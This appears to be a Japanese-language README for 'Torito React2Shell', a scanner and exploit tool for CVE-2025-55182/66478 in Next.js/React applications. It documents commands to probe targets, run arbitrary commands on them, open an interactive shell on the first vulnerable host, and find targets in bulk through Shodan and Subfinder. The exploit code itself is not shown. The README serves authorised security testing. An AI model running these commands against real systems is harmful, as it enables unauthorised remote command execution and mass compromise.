Torito React2Shell スキャナー＆エクスプロイトツール (CVE-2025-55182 / 66478)

要件

• Python 3.9+
• pip install -r requirements.txt
• --subfinder 用に PATH 内の Subfinder バイナリ (Homebrew: brew install subfinder、または Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest でインストール。プロジェクト: https://github.com/projectdiscovery/subfinder)
• Shodan を使用するには pip install shodan が必要です (すでに requirements に含まれています) および クエリクレジットのあるキー: export SHODAN_API_KEY=...

使用法

python3 torito_r2s.py --help

フラグ

例

安全なプローブ (単一ターゲット)

python3 torito_r2s.py -u https://target.com

PoC 確認 (サイドチャネルリダイレクト)

python3 torito_r2s.py -u https://target.com --confirm

カスタムコマンドでのエクスプロイト

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

最初のヒット時にインタラクティブシェル

python3 torito_r2s.py -u https://target.com --shell

エクスポート付きリストスキャン

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Shodan のみ (キーとクレジットが必要)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Subfinder のみ

python3 torito_r2s.py --subfinder target.com --confirm

プロキシ (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

stdin 経由のパイプライン

cat urls.txt | python3 torito_r2s.py --confirm

出力メモ

• テーブルにはフィンガープリント (NX/AR)、プローブ、確認、エクスプロイトが表示されます。
• エクスプロイトダイジェストは可能な場合 base64 デコードされます。詳細モードではプレビューが表示されます。
• JSON/CSV には生のダイジェストとデコードされた出力 (ある場合) が含まれます。

安全性

• 許可されたテスト専用です。
• デフォルト実行は非破壊的なプローブであり、エクスプロイトは --exploit-cmd または --shell 指定時のみ実行されます。